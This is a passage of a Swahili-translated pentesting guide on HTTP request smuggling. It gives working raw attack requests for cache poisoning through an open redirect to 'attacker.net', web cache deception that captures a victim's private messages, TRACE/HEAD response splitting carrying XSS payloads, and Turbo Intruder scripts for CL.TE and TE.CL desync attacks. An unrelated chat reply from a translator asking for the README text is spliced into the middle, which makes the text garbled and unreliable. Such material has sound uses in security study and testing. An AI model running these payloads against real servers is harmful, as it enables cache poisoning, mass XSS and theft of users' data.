Mbinu hii inakuwa hatari zaidi ikiwa inagundulika udhaifu wa Open Redirect vulnerability au ikiwa kuna on-site redirect to an open redirect. Udhaifu kama huo unaweza kutumika kubadilisha yaliyomo yaliyokamatwa ya /static/include.js na script inayodhibitiwa na mshambuliaji, kwa msingi kuruhusu shambulio la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaoomba /static/include.js iliyosasishwa.

Hapo chini ni mfano wa kutumia cache poisoning combined with an on-site redirect to open redirect. Lengo ni kubadilisha yaliyomo kwenye cache ya /static/include.js ili kutumikia msimbo wa JavaScript unaodhibitiwa na mshambuliaji:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Angalia ombi lililojumuishwa linalolenga /post/next?postId=3. Ombi hili litaelekezwa hadi /post?postId=4, likitumia Host header value kutambua domain. Kwa kubadilisha Host header, mshambuliaji anaweza kurekebisha ombi liolekezwe kwa domain yao (on-site redirect to open redirect).

Baada ya kufanikiwa kwa socket poisoning, ombi la GET request kwa /static/include.js linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la on-site redirect to open redirect na litapakia maudhui ya script inayodhibitiwa na mshambuliaji.

Baadaye, ombi lolote la /static/include.js litahudumia yaliyomo yaliyohifadhiwa (cache) ya script ya mshambuliaji, na hivyo kuanzisha shambulio pana la XSS.

Kutumia HTTP request smuggling kutekeleza web cache deception

Je, tofauti kati ya web cache poisoning na web cache deception ni nini?

• Katika web cache poisoning, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya yanatolewa kutoka cache kwa watumiaji wengine wa application.
• Katika web cache deception, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui nyeti ya mtumiaji mwingine kwenye cache, kisha mshambuliaji anaponya/kuupata maudhui haya kutoka cache.

Mshambuliaji huunda smuggled request inayopakua maudhui nyeti maalum ya mtumiaji. Angalia mfano ufuatao:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Iwapo smuggled request hii itaharibu cache entry iliyolengwa kwa static content (mfano, /someimage.png), data nyeti za victim kutoka /private/messages zinaweza kuhifadhiwa chini ya cache entry ya static content. Kwa hivyo, attacker anaweza kupata data hizi zilizohifadhiwa.

Abusing TRACE via HTTP Request Smuggling

In this post inapendekeza kwamba ikiwa server imewezeshwa method TRACE inaweza kuwa inawezekana kuitumia kwa HTTP Request Smuggling. Hii ni kwa sababu method hii itarudisha header yoyote iliyotumwa kwa server kama sehemu ya body ya response. Kwa mfano:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

I don’t see the README.md content yet. Please paste the text (or attach the file) you want translated. I will translate relevant English text to Swahili, preserving all markdown, code, tags, links, paths and hacking-specific terms as you requested.

Do you want the entire file translated or only specific sections?

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Mfano wa jinsi ya kuutumia vibaya tabia hii ungekuwa smuggle first a HEAD request. Ombi hili litajibiwa kwa headers tu za ombi la GET (Content-Type ikiwa miongoni mwao). Na smuggle immediately after the HEAD a TRACE request, ambayo itakuwa reflecting the sent data.
Kwa kuwa jibu la HEAD litakuwa na kichwa Content-Length, basi response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data kwenye jibu.
Jibu hili litatumwa kwa ombi lijalo juu ya muunganiko, hivyo hili linaweza used in a cached JS file for example to inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

Kuendelea kufuata this post kunapendekezwa kama njia nyingine ya kuutumia TRACE method. Kama ilivyotajwa, smuggling a HEAD request and a TRACE request inawezekana control some reflected data katika jibu la HEAD request. Urefu wa body ya ombi la HEAD kwa msingi unaonyeshwa katika kichwa Content-Length na umeundwa na jibu la ombi la TRACE.

Kwa hivyo, wazo jipya ni kwamba, kwa kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na valid HTTP response baada ya byte ya mwisho wa Content-Length, ikimruhusu mshambuliaji kudhibiti kabisa request kwa response ijayo (ambayo inaweza kutumika kufanya cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Itatengeneza majibu haya (kumbuka jinsi jibu la HEAD lina Content-Length, ambalo linafanya jibu la TRACE kuwa sehemu ya mwili wa HEAD, na mara Content-Length ya HEAD inapomaliza valid HTTP response is smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Kuutumia HTTP Request Smuggling kama silaha kwa HTTP Response Desynchronisation

Je, umegundua udhaifu wa HTTP Request Smuggling na haujui jinsi ya kulitumia? Jaribu mbinu hizi nyingine za kuitumia:

{{#ref}} ../http-response-smuggling-desync.md {{#endref}}

Mbinu Nyingine za HTTP Request Smuggling

• Browser HTTP Request Smuggling (Client Side)

{{#ref}} browser-http-request-smuggling.md {{#endref}}

• Request Smuggling in HTTP/2 Downgrades

{{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}}

Turbo intruder scripts

CL.TE

Kutoka kwa https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Chanzo: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Zana

• HTTP Hacker (Burp BApp Store) – kuonyesha concatenation/framing na tabia ya HTTP ya ngazi‑chini
• https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Zana hii ni grammar-based HTTP Fuzzer inayofaa kugundua tofauti za ajabu za request smuggling.

Marejeleo

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack
• https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
• Tahadhari kuhusu false false‑positive: jinsi ya kutofautisha HTTP pipelining na request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
• https://http1mustdie.com/
• Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
• PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
• https://portswigger.net/research/http1-must-die

{{#include ../../banners/hacktricks-training.md}}